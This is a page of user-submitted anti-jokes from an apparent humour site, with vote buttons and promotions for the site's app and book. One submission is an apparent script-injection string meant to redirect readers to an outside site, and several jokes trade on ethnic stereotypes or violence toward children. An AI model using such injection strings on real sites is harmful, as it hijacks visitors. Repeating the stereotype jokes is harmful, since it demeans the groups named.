Why did the young girl fall off of the swing set? Because a man came up behind her and pushed her. He then picked her up, brought her home and fed her a nice three course meal and put her to bed. When she woke up she snuck out of the house and alerted the police.

thumb_up thumb_down +1

Why couldn't the melons get married? As gay cantaloupes, their jurisdiction didn't allow for same-sex marriage.

thumb_up thumb_down +1

Why was little Timmy mauled by a bear? He poked it with a pointy stick.

thumb_up thumb_down +1

Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

thumb_up thumb_down +1

What's the most confusing day in Mexico? Father's Day.

thumb_up thumb_down +1

Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

thumb_up thumb_down +1

A man walks into a bar, the bartender asks "why the long face?" he replies: "I was walking with my wife and was mauled by a bear"

thumb_up thumb_down +1

A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

thumb_up thumb_down +1

What's green and has wheels? grass... i lied about the wheels

thumb_up thumb_down +1

Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

thumb_up thumb_down +1

What is a good remedy for the common cold? A piping hot bowl of chicken-noodle soup.

thumb_up thumb_down +1

A Japanese Nuclear Scientist goes to the swimming pool, and buys a ticket. He went to the changing rooms and proceeded to have a lovely bit of exercise, which helped him burn off the calories from his carbohydrate based luncheon.

thumb_up thumb_down +1

Steve is getting paid $29.50 to bounce a ball Steve is getting fired monday

thumb_up thumb_down +1

"'>document.location.href="http://cramik.org"

thumb_up thumb_down +1

A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

thumb_up thumb_down +1

A man walks into a bar. and buys a drink.

thumb_up thumb_down +1

whats the same about a donkey and a horse? They are from the same animal classification group.

thumb_up thumb_down +1

What did the aborted fetus say to the recycling bin? Nothing because it isn't capable of speaking, and it was in the dumpster

thumb_up thumb_down +1

An African-American is working on math problems and notices an Asian man walking by. The African American asked,"Could you help me out on these math problems?" The Asian man replied, " I have never been good at math."

thumb_up thumb_down +1

How many infants does it take to paint a house? Forty-Seven.

thumb_up thumb_down +1

What is said about the man who is addicted to online gaming? He plays more than 5 hours per day and doesn't have any social contacts or whatsoever.

thumb_up thumb_down +1

When you see birds flying in a V why is one side of the V always longer than the other? There are more birds on that side

thumb_up thumb_down +1

Why did Sally fall off the swing? She had no arms. Knock, knock! Who's there? Not Sally.

thumb_up thumb_down +1

Guy: I have a gun get in my van Girl: SHOTGUN!

thumb_up thumb_down +1

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops